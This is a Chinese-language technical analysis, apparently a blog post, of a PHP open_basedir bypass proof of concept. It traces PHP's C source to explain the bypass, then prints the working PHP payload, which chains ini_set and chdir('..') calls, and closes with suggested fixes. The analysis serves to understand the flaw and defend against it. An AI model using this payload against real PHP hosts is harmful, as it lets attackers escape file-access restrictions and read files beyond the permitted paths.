php open_basedir 繞過poc分析
近日在CTF交流群中看到一個繞過open_basedir限制的poc
對這個poc產生了極大的興趣,因此翻出php的原始碼來下斷點分析一波php open_basedir的機制。
在 /main/fopen_wrappers.c
中 PHPAPI int php_check_open_basedir_ex(const char *path, int warn)
方法是php在處理檔案操作時用於驗證open_basedir的方法。我們檢視一下他的實現方法
PHPAPI int php_check_open_basedir_ex(const char *path, int warn) { /* Only check when open_basedir is available */ if (PG(open_basedir) && *PG(open_basedir)) { char *pathbuf; char *ptr; char *end; /* Check if the path is too long so we can give a more useful error * message. */ if (strlen(path) > (MAXPATHLEN - 1)) { php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path); errno = EINVAL; return -1; } pathbuf = estrdup(PG(open_basedir)); ptr = pathbuf; while (ptr && *ptr) { end = strchr(ptr, DEFAULT_DIR_SEPARATOR); if (end != NULL) { *end = '\0'; end++; } if (php_check_specific_open_basedir(ptr, path) == 0) { efree(pathbuf); return 0; } ptr = end; } if (warn) { php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir)); } efree(pathbuf); errno = EPERM; /* we deny permission to open it */ return -1; } /* Nothing to check... */ return 0; }
跟進 php_check_specific_open_basedir
,這個函式是具體實現每一個路徑的判斷,一個很長的函式,重點在如下幾行:
if (expand_filepath(path, resolved_name) == NULL) { return -1; }
這裡是將傳入的path擴充套件為絕對路徑存放於resolved_name
第214行
if (expand_filepath(local_open_basedir, resolved_basedir) != NULL) {
這裡會根據local_open_basedir的值擴充套件為絕對路徑存放於resolved_basedir
241行
if (strncasecmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) { #else if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) { #endif if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) { return -1; } else { /* File is in the right directory */ return 0; } } else { /* /openbasedir/ and /openbasedir are the same directory */ if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR) { #ifdef PHP_WIN32 if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0) { #else if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0) { #endif return 0; } } return -1; }
可以看到這裡在判斷是否在路徑範圍內時,主要比較依據是先用strncmp判斷與resolved_basedir長度內的部分是否完全一致,一致的話如果resolved_name與resolved_basedir長度相等則說明就在同一路徑,返回0表示允許,長度大於resolved_basedir則判斷超出的第一個字元是否不是 /
,是則返回成功,不是則返回失敗。
這裡我們再重點看一下 expand_filepath
這個函式的實現,主要實現為 PHPAPI char *expand_filepath_with_mode
,重點位於814行
if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) { efree(new_state.cwd); return NULL; } if (real_path) { copy_len = new_state.cwd_length > MAXPATHLEN - 1 ? MAXPATHLEN - 1 : new_state.cwd_length; memcpy(real_path, new_state.cwd, copy_len); real_path[copy_len] = '\0'; } else { real_path = estrndup(new_state.cwd, new_state.cwd_length); } efree(new_state.cwd); return real_path; }
檢視 virtual_file_ex
的實現,1337行之前的操作為如果path不是絕對路徑則將path拼接至state.cwd得到resolved_path,重點第1337行
path_length = tsrm_realpath_r(resolved_path, start, path_length, ≪, &t, use_realpath, 0, NULL);
跟進 tsrm_realpath_r
,可以看到操作主要是遞迴去掉雙斜槓和 .
以及 ..
這便是php在處理檔案操作判斷open_basedir的實現。我們再看php的內建函式 ini_set
的實現方法,在 ext/standard/basic_functions.c
中
PHP_FUNCTION(ini_set) { zend_string *varname; zend_string *new_value; zend_string *val; ZEND_PARSE_PARAMETERS_START(2, 2) Z_PARAM_STR(varname) Z_PARAM_STR(new_value) ZEND_PARSE_PARAMETERS_END(); val = zend_ini_get_value(varname); /* copy to return here, because alter might free it! */ if (val) { if (ZSTR_IS_INTERNED(val)) { RETVAL_INTERNED_STR(val); } else if (ZSTR_LEN(val) == 0) { RETVAL_EMPTY_STRING(); } else if (ZSTR_LEN(val) == 1) { RETVAL_INTERNED_STR(ZSTR_CHAR((zend_uchar)ZSTR_VAL(val)[0])); } else if (!(GC_FLAGS(val) & GC_PERSISTENT)) { ZVAL_NEW_STR(return_value, zend_string_copy(val)); } else { ZVAL_NEW_STR(return_value, zend_string_init(ZSTR_VAL(val), ZSTR_LEN(val), 0)); } } else { RETVAL_FALSE; } #define _CHECK_PATH(var, var_len, ini) php_ini_check_path(var, var_len, ini, sizeof(ini)) /* open basedir check */ if (PG(open_basedir)) { if (_CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "error_log") || _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.class.path") || _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.home") || _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "mail.log") || _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "java.library.path") || _CHECK_PATH(ZSTR_VAL(varname), ZSTR_LEN(varname), "vpopmail.directory")) { if ( (ZSTR_VAL(new_value))) { zval_ptr_dtor_str(return_value); RETURN_FALSE; } } } #undef _CHECK_PATH if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) { zval_ptr_dtor_str(return_value); RETURN_FALSE; } }
由於我們ini_set的是 open_basedir
於是重要一行便落到了
if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {
檢視 zend_alter_ini_entry_ex
的實現,重要幾行為
if (!ini_entry->on_modify || ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS) { if (modified && ini_entry->orig_value != ini_entry->value) { /* we already changed the value, free the changed value */ zend_string_release(ini_entry->value); } ini_entry->value = duplicate; } else { zend_string_release(duplicate); return FAILURE; }
除錯可知, open_basedir
對應的 on_modify
函式為 OnUpdateBaseDir
,重要幾行為
ptr = pathbuf = estrdup(ZSTR_VAL(new_value)); while (ptr && *ptr) { end = strchr(ptr, DEFAULT_DIR_SEPARATOR); if (end != NULL) { *end = '\0'; end++; } if (php_check_open_basedir_ex(ptr, 0) != 0) { /* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */ efree(pathbuf); return FAILURE; } ptr = end; }
可見這裡便是呼叫了 php_check_open_basedir_ex
來判斷要更改的open_basedir是否合法。
回到 zend_alter_ini_entry_ex
中
duplicate = zend_string_copy(new_value); if (!ini_entry->on_modify || ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS) { if (modified && ini_entry->orig_value != ini_entry->value) { /* we already changed the value, free the changed value */ zend_string_release(ini_entry->value); } ini_entry->value = duplicate; }
可以看到 open_basedir
便會被直接設定為我們設定的值。
再來看我們的poc
<?php ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/');
假定我們的 open_basedir
為 /var/www/html
,我們位於 /var/www/html/test
目錄下
執行第一個 ini_set
時,首先判斷 /var/www/html/test/..
即 /var/www/html/
是否為open_basedir內,判斷成功,因此直接更新open_basedir為 ..
執行 chdir('..')
時,檢測open_basedir, ..
根據當前目錄補全後為 /var/www/html
,而我們的 open_basedir
為 ..
,補全後也是 /var/www/html
,因此可以chdir成功。
再次 chdir('..')
,檢測open_basedir, ..
補全為 /var/www
,而此時的 open_basedir
補全也為 /var/www
,判斷成功。
因此一系列的 chdir('..')
都會成功執行,最後當前目錄跳到了 /
, open_basedir
為 ..
,設定 open_basedir('/')
同樣可以執行成功,便成功實現了調整 open_basedir
至任意目錄。
這個poc的構造十分巧妙,修復建議便是禁止在open_basedir已有的情況下修改 open_basedir
或者禁 open_basedir
可以被設定為相對路徑。